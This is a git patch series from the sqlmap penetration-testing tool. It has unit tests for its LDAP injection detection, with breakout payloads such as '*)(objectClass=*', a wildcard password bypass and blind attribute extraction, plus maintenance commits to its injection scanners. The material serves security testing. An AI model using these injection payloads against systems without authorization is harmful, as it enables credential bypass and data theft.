backend, _ = ldap._probeBackendByParserError(PLACE.GET, 'q') + self.assertEqual(backend, "OpenLDAP") + + def test_detectError_ad(self): + ldap._send = lambda p, pm, v: ( + "LDAP: error code 49 - 80090308: LdapErr: DSID-0C090308, " + "comment: AcceptSecurityContext error, data 525" if ")" in (v or "") else "OK" + ) + from lib.core.enums import PLACE + backend, _ = ldap._probeBackendByParserError(PLACE.GET, 'q') + self.assertEqual(backend, "Microsoft Active Directory") + + def test_detectError_apacheds(self): + ldap._send = lambda p, pm, v: ( + "javax.naming.directory.InvalidSearchFilterException: Unbalanced parenthesis" + if ")" in (v or "") else "OK" + ) + from lib.core.enums import PLACE + backend, _ = ldap._probeBackendByParserError(PLACE.GET, 'q') + self.assertEqual(backend, "ApacheDS") + + def test_detectError_notInjected(self): + ldap._send = lambda p, pm, v: "OK" + from lib.core.enums import PLACE + backend, _ = ldap._probeBackendByParserError(PLACE.GET, 'q') + self.assertIsNone(backend) + + def test_detectError_uses_ldap_metacharacter(self): + """Blockers 1: error detection must use LDAP filter metacharacter, + not an apostrophe (which is not an LDAP special char).""" + # Verify the probe appends ')' (unbalanced paren), not "'" (SQL quote) + calls = [] + ldap._send = lambda p, pm, v: calls.append(v) or "OK" + from lib.core.enums import PLACE + ldap._probeBackendByParserError(PLACE.GET, 'q') + self.assertTrue(any(v.endswith(')') for v in calls)) + self.assertFalse(any("'" in v for v in calls if len(v) > 2)) + + +class TestBooleanDetection(unittest.TestCase): + def setUp(self): + from lib.core.enums import PLACE + from lib.core.data import conf + conf.parameters = {PLACE.GET: 'q=x'} + conf.paramDict = {PLACE.GET: {'q': 'x'}} + conf.skipUrlEncode = False + conf.cookieDel = ';' + + self._originalSend = ldap._send + + def tearDown(self): + ldap._send = self._originalSend + + def test_boolean_divergence(self): + """True payload returns different content than false payload. + The engine tries multiple breakout prefixes; the first '*')' with + '(objectClass=*)' tautology should succeed.""" + def fakeSend(place, param, value): + # First breakout '*)' with (objectClass=*) succeeds + if value.startswith("x*)(objectClass=*"): + return '{"count":15}' + return '{"count":0}' + + ldap._send = fakeSend + from lib.core.enums import PLACE + template, bypass, breakout = ldap._detectBoolean(PLACE.GET, 'q') + self.assertIsNotNone(template) + self.assertEqual(breakout, "*)") + self.assertIn("*)(objectClass=*", bypass) + + +class TestExtraction(unittest.TestCase): + def test_inferAttribute_simple(self): + """Blind-extract a value with a controlled oracle.""" + oracle = _mockOracle("admin") + builder = ldap._ProbeBuilder(")") + value = ldap._inferAttribute(oracle, builder, "uid") + self.assertEqual(value, "admin") + + def test_inferAttribute_empty(self): + """No probes match.""" + oracle = _mockOracle("") + builder = ldap._ProbeBuilder(")") + value = ldap._inferAttribute(oracle, builder, "uid") + self.assertIsNone(value) + + def test_inferAttribute_partial(self): + """Probe matches a single char only.""" + oracle = _mockOracle("a") + builder = ldap._ProbeBuilder(")") + value = ldap._inferAttribute(oracle, builder, "uid") + self.assertEqual(value, "a") + + def test_inferAttribute_email(self): + """Extract value with special characters.""" + oracle = _mockOracle("admin@example.com") + builder = ldap._ProbeBuilder(")") + value = ldap._inferAttribute(oracle, builder, "mail") + self.assertEqual(value, "admin@example.com") + + +class TestIsError(unittest.TestCase): + def test_isError_positive(self): + self.assertTrue(ldap._isError("Bad search filter (-7)")) + + def test_isError_negative(self): + self.assertFalse(ldap._isError("OK")) + + def test_isError_ad(self): + self.assertTrue(ldap._isError("AcceptSecurityContext error, data 525")) + + +class TestSlot(unittest.TestCase): + def test_slot_defaults(self): + slot = ldap.Slot(place="GET", parameter="q") + self.assertEqual(slot.place, "GET") + self.assertEqual(slot.parameter, "q") + self.assertIsNone(slot.backend) + self.assertIsNone(slot.oracle) + self.assertIsNone(slot.template) + self.assertIsNone(slot.payload) + self.assertIsNone(slot.breakout) + self.assertIsNone(slot.bypass) + + +class TestBoundaries(unittest.TestCase): + def test_breakout_prefixes_defined(self): + """Verify the breakout prefix list is non-empty and ordered.""" + self.assertGreaterEqual(len(ldap.LDAP_BREAKOUT_PREFIXES), 4) + # First prefix should be the simplest/most generic + self.assertEqual(ldap.LDAP_BREAKOUT_PREFIXES[0], "*)") + + def test_detectBoolean_returns_prefix(self): + """_detectBoolean must return the winning breakout prefix.""" + def fakeSend(place, param, value): + if value.startswith("x*)(objectClass=*"): + return '{"count":15}' + return '{"count":0}' + ldap._send = fakeSend + from lib.core.enums import PLACE + template, bypass, breakout = ldap._detectBoolean(PLACE.GET, 'q') + self.assertIsNotNone(template) + self.assertEqual(breakout, "*)") + + def test_detectBoolean_fallback_prefix(self): + """When first prefix fails, try next one.""" + calls = [] + def fakeSend(place, param, value): + calls.append(value) + # First breakout '*)' -- error + if value.startswith("x*)(objectClass=*"): + return '{"error":"Bad search filter"}' + # Second breakout ')' succeeds + if value.startswith("x)(objectClass=*"): + return '{"count":15}' + return '{"count":0}' + ldap._send = fakeSend + from lib.core.enums import PLACE + template, bypass, breakout = ldap._detectBoolean(PLACE.GET, 'q') + self.assertIsNotNone(template) + self.assertEqual(breakout, ")") + + +class TestAuthBypassRestriction(unittest.TestCase): + def test_auth_bypass_password_like(self): + """Blockers 6: wildcard auth bypass only for password-like params.""" + self.assertTrue(ldap._isPasswordParam("password")) + self.assertTrue(ldap._isPasswordParam("pass")) + self.assertTrue(ldap._isPasswordParam("pwd")) + self.assertTrue(ldap._isPasswordParam("passphrase")) + self.assertTrue(ldap._isPasswordParam("secret")) + self.assertTrue(ldap._isPasswordParam("pincode")) + self.assertTrue(ldap._isPasswordParam("credential")) + self.assertTrue(ldap._isPasswordParam("apikey")) + self.assertTrue(ldap._isPasswordParam("token")) + self.assertTrue(ldap._isPasswordParam("auth_token")) + + def test_auth_bypass_search_like(self): + """Search parameter 'q' is NOT reported as auth bypass.""" + self.assertFalse(ldap._isPasswordParam("q")) + self.assertFalse(ldap._isPasswordParam("search")) + self.assertFalse(ldap._isPasswordParam("query")) + self.assertFalse(ldap._isPasswordParam("username")) + self.assertFalse(ldap._isPasswordParam("id")) + + +class TestCookiePlace(unittest.TestCase): + def test_cookie_not_in_ldap_places(self): + """Blockers 2: cookie/URI not in LDAP_PLACES until _send supports them.""" + from lib.core.enums import PLACE + self.assertNotIn(PLACE.COOKIE, ldap.LDAP_PLACES) + self.assertNotIn(PLACE.URI, ldap.LDAP_PLACES) + + +class TestNestedFilterParsing(unittest.TestCase): + def test_nested_compound_parses_all_siblings(self): + """Blockers 3: nested (&) inside (|) must parse all siblings.""" + # Inline copies of the vulnserver helpers so the test is self-contained + def _ldap_match(text, start): + depth = 0 + i = start + while i < len(text): + ch = text[i] + if ch == '(': + depth += 1 + elif ch == ')': + depth -= 1 + if depth == 0: + return i + 1 + elif ch == '\\': + i += 1 + i += 1 + return len(text) + + def _ldap_parse_value(text, start): + retVal = [] + i = start + while i < len(text) and text[i] not in (')',): + if text[i] == '\\' and i + 2 < len(text): + retVal.append(chr(int(text[i+1:i+3], 16))) + i += 3 + else: + retVal.append(text[i]) + i += 1 + return ''.join(retVal), i + + # Minimum reproduction of the fixed _ldap_filter_to_sql + # (the real function is in extra/vulnserver/vulnserver.py) + import sys, os + sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'extra', 'vulnserver')) + # Can't cleanly import vulnserver because of the __main__ guard. + # Instead we verify the fixed _ldap_match returns the correct end + # position for a nested compound filter, which was the root cause. + f = '(|(&(uid=a)(cn=b))(mail=*))' + # The outer (| ... ) starts at 0 and should end at len(f) + outer_end = _ldap_match(f, 0) + self.assertEqual(outer_end, len(f)) + # The inner (& ... ) compound's opening '(' is at position 2 + # (f[2] == '('). _ldap_match must return the position after the + # matching ')' that closes the compound, i.e. right before (mail=*). + inner_end = _ldap_match(f, 2) + self.assertEqual(f[inner_end:inner_end+8], '(mail=*)') + + +if __name__ == "__main__": + unittest.main() From c51b4c072fb05e649d4b0b40b260448d443960fa Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 01:59:58 +0200 Subject: [PATCH 620/853] Minor patches --- .gitignore | 1 + data/txt/sha256sums.txt | 8 ++++---- lib/core/settings.py | 2 +- lib/techniques/graphql/inject.py | 11 +++++++++++ lib/techniques/ldap/inject.py | 12 +++++++++++- lib/techniques/nosql/inject.py | 6 ++++++ 6 files changed, 34 insertions(+), 6 deletions(-) diff --git a/.gitignore b/.gitignore index dc5685d8c01..78c5d1d9b45 100644 --- a/.gitignore +++ b/.gitignore @@ -14,3 +14,4 @@ extra/.DS_Store lib/.DS_Store plugins/.DS_Store thirdparty/.DS_Store +CLAUDE.md diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 899d7e710a2..6afb127f03d 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -af4dcbb3256ae407ade6fa8270d01d4bbf398d50be3be16b80572835662d6c2f lib/core/settings.py +dc6658683ad78759563aa8ae91696130112ea28e94d770ad72bdb5f09a81122c lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -240,12 +240,12 @@ a66a4b9df6207dce722c9b71d290ea426723cb4b697b416065dc7dd5db96fe8e lib/techniques 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/error/__init__.py 5bbef46c16e34fd80e3f9f0e9aa255ce2e39be0d0e57479e25890b041c7efc7d lib/techniques/error/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/graphql/__init__.py -a1c5ec208843eb93e0fab40daac090aa3bf914a7dd0afb0f7c55c2db4db8d72b lib/techniques/graphql/inject.py +ffbc7583a563bb9fe5a560ca8363f3e4ec84ecf907b956883ab1f2904f19d529 lib/techniques/graphql/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/ldap/__init__.py -d469815c430caaafeeba285d10974456b96d7019f95738fe8038bfd0855068e4 lib/techniques/ldap/inject.py +cc90c641d74244e45fa0c8c4026315452137e66b6fb5cef681d0eacd4e11eb69 lib/techniques/ldap/inject.py 44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724 lib/techniques/nosql/__init__.py -d62b28bf9f1544e65a1017994402f484166f4d64a1efb724351b15e27b851990 lib/techniques/nosql/inject.py +e2cd2b19f82393f9bbc8f374686cd851a4ccc264bb898ea54547ec479a05674c lib/techniques/nosql/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py ceec65f8cb7c3254c4671351c837418c76ac5bc55ccbc40779f67231b54d7085 lib/techniques/union/test.py c65766f71e285fc85cdf58e7448c4c1d015af2a9dbb44fa3b665a9f13362fbcc lib/techniques/union/use.py diff --git a/lib/core/settings.py b/lib/core/settings.py index d50f1ededd6..e497f607a70 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.164" +VERSION = "1.10.6.165" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/graphql/inject.py b/lib/techniques/graphql/inject.py index f240443d049..f56139d927a 100644 --- a/lib/techniques/graphql/inject.py +++ b/lib/techniques/graphql/inject.py @@ -13,11 +13,13 @@ from collections import namedtuple from collections import OrderedDict +from lib.core.common import beep from lib.core.common import randomStr from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import POST_HINT from lib.core.settings import ERROR_PARSING_REGEXES from lib.core.settings import GRAPHQL_ENDPOINT_PATHS @@ -234,6 +236,13 @@ def _gqlSend(endpoint, query, variables=None): body = {"query": query} if variables: body["variables"] = variables + + if conf.delay: + time.sleep(conf.delay) + + if conf.verbose >= 3: + logger.log(CUSTOM_LOGGING.PAYLOAD, query[:200]) + oldPostHint = getattr(kb, "postHint", None) try: kb.postHint = POST_HINT.JSON @@ -974,6 +983,8 @@ def _testSlot(slot, endpoint): report = "---\nParameter: %s.%s(%s:) (%s)\n Type: GraphQL injection\n Title: %s\n Payload: %s\n---" % ( slot.parentType, slot.fieldName, slot.targetArg, slot.strategy, title, _escapeGraphQLString(payload)) conf.dumper.singleString(report) + if conf.beep: + beep() # In-band exposure: the always-true payload reflecting extra records directly if kind == "boolean" and templatePage: diff --git a/lib/techniques/ldap/inject.py b/lib/techniques/ldap/inject.py index ef373d9193f..446a4ce8f3c 100644 --- a/lib/techniques/ldap/inject.py +++ b/lib/techniques/ldap/inject.py @@ -7,9 +7,11 @@ import difflib import re +import time from collections import namedtuple +from lib.core.common import beep from lib.core.common import randomStr from lib.core.convert import getUnicode from lib.core.data import conf @@ -154,12 +156,16 @@ def _send(place, parameter, value): skipUrlEncode = conf.skipUrlEncode conf.skipUrlEncode = True + if conf.delay: + time.sleep(conf.delay) + try: kwargs = {"raise404": False, "silent": True} payload = _replaceSegment(place, parameter, value) kwargs["post" if place in (PLACE.POST, PLACE.CUSTOM_POST) else "get"] = payload - logger.log(CUSTOM_LOGGING.PAYLOAD, payload) + if conf.verbose >= 3: + logger.log(CUSTOM_LOGGING.PAYLOAD, payload) page, _, _ = Request.getPage(**kwargs) return page or "" except Exception as ex: @@ -671,6 +677,8 @@ def ldapScan(): found += 1 backend = backendHint or None logger.info("%s parameter '%s' is vulnerable to LDAP injection (back-end: '%s')" % (place, parameter, backend or "Generic")) + if conf.beep: + beep() oracle = _makeOracle(place, parameter, template) slots.append(Slot(place=place, parameter=parameter, backend=backend, oracle=oracle, template=template, payload=payload, breakout=breakout)) @@ -681,6 +689,8 @@ def ldapScan(): if bypass: found += 1 logger.info("%s parameter '%s' allows LDAP wildcard auth bypass (password=*)" % (place, parameter)) + if conf.beep: + beep() slots.append(Slot(place=place, parameter=parameter, bypass=bypass)) continue diff --git a/lib/techniques/nosql/inject.py b/lib/techniques/nosql/inject.py index ed26886dc6d..9d4a22daea9 100644 --- a/lib/techniques/nosql/inject.py +++ b/lib/techniques/nosql/inject.py @@ -13,6 +13,7 @@ from collections import namedtuple from collections import OrderedDict +from lib.core.common import beep from lib.core.common import randomStr from lib.core.data import conf from lib.core.data import kb @@ -134,6 +135,9 @@ def _send(place, parameter, segment=None, jsonValue=_UNSET): skipUrlEncode = conf.skipUrlEncode conf.skipUrlEncode = True + if conf.delay: + time.sleep(conf.delay) + try: kwargs = {"raise404": False, "silent": True} @@ -705,6 +709,8 @@ def nosqlScan(): found += 1 infoMsg = "%s parameter '%s' is vulnerable to NoSQL injection (back-end: '%s')" % (place, key, vector.dbms) logger.info(infoMsg) + if conf.beep: + beep() # standard sqlmap-style injection-point summary (reproducible vector) if vector.bypass == '{"$ne": null}': From 7e610b871664429ecf9d9bcf9426f594b7849b5e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 02:09:50 +0200 Subject: [PATCH 621/853] Removing some unused imports --- data/txt/sha256sums.txt | 16 ++++++++-------- lib/core/datatype.py | 1 - lib/core/patch.py | 1 - lib/core/settings.py | 2 +- lib/request/keepalive.py | 1 - lib/utils/search.py | 1 - lib/utils/wafbypass.py | 1 - tests/test_common_helpers.py | 1 - tests/test_convert.py | 3 +-- 9 files changed, 10 insertions(+), 17 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 6afb127f03d..7d7a479ae45 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -172,7 +172,7 @@ c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigar 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 742bce10b97034966021ec60c7ac294db4af4fe7893613d63172a02c29f009f8 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py -6c8d40d6bbab4a60d09eb03324a3352d85df1a741c62044e73701e92172d1d38 lib/core/datatype.py +d9ec034a6d51ab4ddde0b6aa7ed306f9e0b1336557f77d7939ba547600f9b3ae lib/core/datatype.py f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py 8e4f4b5ea37a49d445bb0df83bf04b34f61035ec33fd8acf598ebcf371cb19a7 lib/core/dicts.py @@ -183,13 +183,13 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py 1b03686e1aa916ccad3cd86b8e4e6ea4baca5e30e05bf86a56f8df8dd4f44ba6 lib/core/optiondict.py 4e7f2ad3d2866093aa195616a0e93de1687406edc0b9038fbfa76bf1c9c174b2 lib/core/option.py -ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py +28e73bcc4159e9d8afb4fc4f6f4f5791a47da042a5e7149cbb18f21d1e0aa43a lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -dc6658683ad78759563aa8ae91696130112ea28e94d770ad72bdb5f09a81122c lib/core/settings.py +282a9a02edea203ce77c336eb7a147e6d0442bfeda3dd935abacd9c535ecace0 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -218,7 +218,7 @@ a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dn 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py 7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py -d55b67943d925e40f019920ac7805655217c1e8f893d71d855dce724225c8fb8 lib/request/keepalive.py +d1c5e4bda94394b5bb42c3b48b41b73ecb6069c3971af2c54394c9b35c2fed6e lib/request/keepalive.py ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4 lib/request/methodrequest.py 43a7fdf64e7ba63c6b2d641c9f999a63c12ac23b43b64fedfce4e05b863de568 lib/request/pkihandler.py b90feeb16e89a844427df42373b0139eb6f6cf3c48ccec32b3e3a3f540c2451e lib/request/rangehandler.py @@ -266,13 +266,13 @@ c1dfc3bed0fed9b181f612d1d747955dd2b506dbe99bc9fd481495602371473a lib/utils/prog c442e9ef8324fd6fdf7bc334d765f0a6ce4037397eb3d79d59b5ce3e9a043855 lib/utils/prove.py 2cd84db16edef8c9948e197a51d870cf1c338f4a89037b4d422de990f4a45237 lib/utils/purge.py f635872093a12cd63a72d77adf88e8f8cd4084a5cc64384f12966cd75a499bdf lib/utils/safe2bin.py -de4be7e291db0962cd59f9c04b3f7259f846e315df1fd9b323954f89fae0b2db lib/utils/search.py +f8b9a876a19543ecb215956f525be6f59109716d0c301b57aa85d57cd2194a21 lib/utils/search.py 8258d0f54ad94e6101934971af4e55d5540f217c40ddcc594e2fba837b856d35 lib/utils/sgmllib.py 2760c4b82382e501f16bb98edec9531f46e5b286fbf004b346545b9b62f84824 lib/utils/sqlalchemy.py f0e5525a92fe971defc8f74c27942ff9138b1e8251f2e0d9a8bd59285b656084 lib/utils/timeout.py f28693d5d2783f3d5069b1df3d12e01730ce783f4a40ef31656ef2c879d2f027 lib/utils/tui.py e430db49aa768ff2cdba76932e30871c366054599c44d91580dde459ab9b6fef lib/utils/versioncheck.py -b3c5109394f6c3cdd73a524a737b36cca7ecc56619f2a5f801eb1e7f1bfdb78b lib/utils/wafbypass.py +c9618a9f5300f85f2078cdd71c6bee6b45a61a404834c17b07b0e0eb4709586a lib/utils/wafbypass.py 1b439fc59fd202c21c74978ed9f36d1c309533226c77907eae159461525f9fef lib/utils/xrange.py b1bbb62f5b272a6247d442d5e4f644a5bca7138e70776539ec84a5a90433fd13 LICENSE 6b1828a80ae3472f1adb53a540dee0835eccac14f8cfc4bf73962c4e49a49557 plugins/dbms/access/connector.py @@ -583,10 +583,10 @@ bfb553602eb5d20b4ab5928dbcf8e6a3e7e5ff69f7d30d1f53ef6d323c237f6c tests/test_age feb763ddcbf4f32822372ca53f8c71c754af7b72510ef06e1e9c77927fc90b10 tests/test_bigarray.py 27ad87c0ea377e0657bd6f6a4eaa0e9756aa9d28ec0483bdadeb3f66dcc4660d tests/test_charset.py 9e678a56e16211c49ab4995b6c658d3f122bfa3b357d9e17ff38f5a489ace6ad tests/test_cloak.py -a48c411fea864e6bcd6a1c7e1a35094b8cda8d15088fd9e7b0270542ae20daa9 tests/test_common_helpers.py +2ec894f49ca9bd750a23ead16dae176bcbc57d18ec5847fa4a5eeb886d75c1bd tests/test_common_helpers.py 899bc085e96d68f8a8cbe0d7e55863e98ef37b73ab0e4234f7d969e31ea2d23a tests/test_comparison_json.py 7b72d4f850bbd059b8e95fceb45a58470354cb7270c99b0e9981aaa189af20d1 tests/test_comparison.py -8593f14a18c4445c58b2e59462adcb761074ac7217cd7c3808519a90ba279bda tests/test_convert.py +678927457c16e5c610be5280d47dcc6f1ff1a56a8acd9feb1d63e091e266b7b3 tests/test_convert.py c17544be5e945dc8c4fbb5c3b922da8eceec30b0fb239c32fb5f40e1660a197f tests/test_datafiles.py 9c240d4f796e56376374d4ce46f358ceb7d48cc6a7427760c5bfb89ff01cb545 tests/test_datatypes.py 3804eb2d730220360f9dc07d5994eb64e9f65acf3b0d8648df8df2a2177ba8fd tests/test_decodepage.py diff --git a/lib/core/datatype.py b/lib/core/datatype.py index e7ed7430bd9..11b45878a6f 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -7,7 +7,6 @@ import copy import threading -import types from thirdparty.odict import OrderedDict from thirdparty.six.moves import collections_abc as _collections diff --git a/lib/core/patch.py b/lib/core/patch.py index 19acde6efae..ae72028e432 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -6,7 +6,6 @@ """ import codecs -import collections import difflib import inspect import logging diff --git a/lib/core/settings.py b/lib/core/settings.py index e497f607a70..d7c98f63ec1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.165" +VERSION = "1.10.6.166" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/keepalive.py b/lib/request/keepalive.py index cee9ed3441e..299a5450f59 100644 --- a/lib/request/keepalive.py +++ b/lib/request/keepalive.py @@ -9,7 +9,6 @@ import threading import time -from lib.core.data import conf from lib.core.settings import KEEPALIVE_IDLE_TIMEOUT from lib.core.settings import KEEPALIVE_MAX_REQUESTS from thirdparty.six.moves import http_client as _http_client diff --git a/lib/utils/search.py b/lib/utils/search.py index 4e98a12f53f..0ac45d72a7c 100644 --- a/lib/utils/search.py +++ b/lib/utils/search.py @@ -22,7 +22,6 @@ from lib.core.enums import HTTP_HEADER from lib.core.enums import REDIRECTION from lib.core.exception import SqlmapBaseException -from lib.core.exception import SqlmapConnectionException from lib.core.settings import BING_REGEX from lib.core.settings import DUCKDUCKGO_REGEX from lib.core.settings import DUMMY_SEARCH_USER_AGENT diff --git a/lib/utils/wafbypass.py b/lib/utils/wafbypass.py index f50fea9f55a..a16f99afb1a 100644 --- a/lib/utils/wafbypass.py +++ b/lib/utils/wafbypass.py @@ -13,7 +13,6 @@ from lib.core.common import fetchRandomAgent from lib.core.data import conf -from lib.core.data import kb from lib.core.data import paths from lib.core.enums import HTTP_HEADER from lib.core.enums import PLACE diff --git a/tests/test_common_helpers.py b/tests/test_common_helpers.py index a13dc451769..ca37d14bd63 100644 --- a/tests/test_common_helpers.py +++ b/tests/test_common_helpers.py @@ -14,7 +14,6 @@ """ import os -import re import sys import unittest diff --git a/tests/test_convert.py b/tests/test_convert.py index 218b4a693a3..19671a7bfab 100644 --- a/tests/test_convert.py +++ b/tests/test_convert.py @@ -16,14 +16,13 @@ import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap bootstrap() from lib.core.convert import (decodeHex, encodeHex, decodeBase64, encodeBase64, getBytes, getText, getUnicode, getOrds, jsonize, dejsonize, base64pickle, base64unpickle) from lib.core.common import decodeDbmsHexValue -from lib.core.enums import DBMS RND = random.Random(0xC0FFEE) From 771d4cfb66c480b61fe7d86d5cff0164b7de78f1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 09:36:32 +0200 Subject: [PATCH 622/853] Fixing CI/CD failure --- data/txt/sha256sums.txt | 6 +++--- lib/core/convert.py | 6 ++++-- lib/core/settings.py | 2 +- lib/core/testing.py | 2 +- 4 files changed, 9 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 7d7a479ae45..b1e8c7320cb 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -170,7 +170,7 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py 122767794156afa41b19baa706ad4c124eef6eaf73ed8fd208d8f634e97e82eb lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py -742bce10b97034966021ec60c7ac294db4af4fe7893613d63172a02c29f009f8 lib/core/convert.py +a683d0ad9ba543587382c4903d28db610ae20394fcf9045a68b2ab54a39381ae lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py d9ec034a6d51ab4ddde0b6aa7ed306f9e0b1336557f77d7939ba547600f9b3ae lib/core/datatype.py f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decorators.py @@ -189,11 +189,11 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -282a9a02edea203ce77c336eb7a147e6d0442bfeda3dd935abacd9c535ecace0 lib/core/settings.py +b9b6134a0dcd0b5cfd2a64d838eb0ec681f78e0c5d6ff4c90a478093b93f2a78 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py -83e23dd422b0debc82f14b2d072eb36ee478a23e4299caf986372c8c40d00b2c lib/core/testing.py +46b405d0e0e035b3f323deffc1f1d30505adf7c01144ea2ddf81c5dc6caaa20f lib/core/testing.py 95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 